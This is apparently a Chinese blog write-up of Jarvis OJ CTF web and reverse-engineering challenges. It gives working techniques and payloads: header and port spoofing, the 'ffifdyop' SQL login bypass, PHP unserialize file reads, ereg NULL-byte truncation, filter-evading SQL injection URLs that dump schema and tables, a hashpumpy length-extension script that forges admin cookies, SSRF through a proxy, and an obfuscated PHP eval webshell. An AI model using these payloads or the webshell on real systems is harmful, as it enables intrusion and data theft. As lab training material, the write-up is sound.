CTF

Jarvis OJ WriteUp

2019-03-17  本文已影响1人  Eumenides_62ac

Web

PORT51

提示要从51端口。实际上是要从自己的51端口。用curl就可以实现:

$ curl --local-port 51 http://web.jarvisoj.com:32770/

得到flag

LOCALHOST

提示localhost access only
直接构造X-Forwarded-For:127.0.0.1发包。

Login

要输入password。推测为注入题目。
使用万能密钥ffifdyop得到flag

神盾局的秘密

点进去看到图片是被这么引用的:

<img src="showimg.php?img=c2hpZWxkLmpwZw== width="100%"/>

c2hpZWxkLmpwZw==经过base64解码后变成shield.jpg
尝试读取showimg.php,构造showimg.php?img=c2hvd2ltZy5waHA=得到源码:

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

可以看到我们构造的文件不能包含../\\pctf
尝试读index.php

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

shield.php:

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

看到unserialize(),能想到php反序列化。构造:

<?php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = 'pctf.php';
        }
    }

$x = new Shield();
var_dump(serialize($x));

IN A Mess

F12看到有源码泄露:index.phps。访问得到源码:

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}

?>

因为存在file_get_contents()a可以通过php伪协议来绕过。b的开头第一个经过正则匹配是4但是不能被substr()匹配为4ereg()存在NULL截断漏洞,用%00可以绕过。
最后构造:

POST:
/index.php?id=a&a=php://input&b=%00111111

1112 is a nice lab!

然后是sql绕过:
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,3#
# 注库
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(schema_name)/*111*/frfromom/*111*/information_schema.schemata#
# 注表
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(table_name)/*111*/frfromom/*111*/information_schema.tables/*111*/where/*111*/table_schema=0x74657374
# 注列
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(column_name)/*111*/frfromom/*111*/information_schema.columns/*111*/where/*111*/table_name=0x636f6e74656e74
# 注内容
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(context)/*111*/frfromom/*111*/test.content#

RE

得到一个名叫udf.so.02f8981200697e5eeb661e64797fc172的文件。
考点是Mysqludf扩展。
udf.soLinuxMySQL的动态链接库,把它放在\/usr/lib64/mysql/plugin/下。
进入数据库。
根据提示有个help_me函数,就先加载help_me函数:

> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!! |
+---------------------------------------------+
> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function} |
+------------------------------------------+

flag在管理员手里

提示Only Admin can see the flag!!
这题考察:hash长度扩展攻击。
发现index.php~源码泄露。
重命名为index.php.swp后用vim -r index.php.swp恢复得到源码:

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
        body {
                background:gray;
                text-align:center;
        }   
</style>
</head>

<body>
        <?php 
                $auth = false;
                $role = "guest";
                $salt = 
                if (isset($_COOKIE["role"])) {
                        $role = unserialize($_COOKIE["role"]);
                        $hsh = $_COOKIE["hsh"];
                        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                                $auth = true;
                        } else {
                                $auth = false;
                        }   
                } else {
                        $s = serialize($role);
                        setcookie('role',$s);
                        $hsh = md5($salt.strrev($s));
                        setcookie('hsh',$hsh);
                }   
                if ($auth) {
                        echo "<h3>Welcome Admin. Your flag is 
                } else {
                        echo "<h3>Only Admin can see the flag!!</h3>";
                }
        ?>
        
</body>
</html>

hash长度扩展攻击。
使用脚本:

# -*- coding: utf-8 -*-
# 出处jarvisojCTF WEB-flag在管理员手里
# url:https://www.jianshu.com/p/5342d07a6956
# 在Kali虚拟机中运行,保证安装了导入的库
# 按照逻辑随机应变
import requests,hashpumpy,urllib


def webre():
    url = 'http://web.jarvisoj.com:32778/'
    sha = '3a4727d57463f122833d9e732f94e4e0'
    string0 = ';"tseug":5:s'
    string1 = ';"nimda":5:s'
    for i in range(15):
        digest, message = hashpumpy.hashpump(sha,string0,string1,i)
        payload ={'role':urllib.quote(message[::-1]), 'hsh':digest}  # quote()用于把'\x00'都变成'%00' 这道题message需要反转一下
        print(i,payload) 
        html = requests.get(url,cookies=payload).content#提交答案 
        if 'Welcome' in html: 
            print(html)


webre()

Chopper

进去看到一张图片,其url是这样的:

http://web.jarvisoj.com:32782/proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg

访问/admin,可以看到源码里提示了:

<!--<script>alert('admin ip is 202.5.19.128')</script>-->

构造:

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

访问robots.txt得到:

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

trojan.php.txt里的内容为:

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

保存为php文件运行可以得到:

Warning: assert() [function.assert]: Assertion "eval($_POST[360])" failed
in C:\phpstudy\WWW\1.php on line 1

执行:


就可以得到flag

上一篇 下一篇

猜你喜欢

热点阅读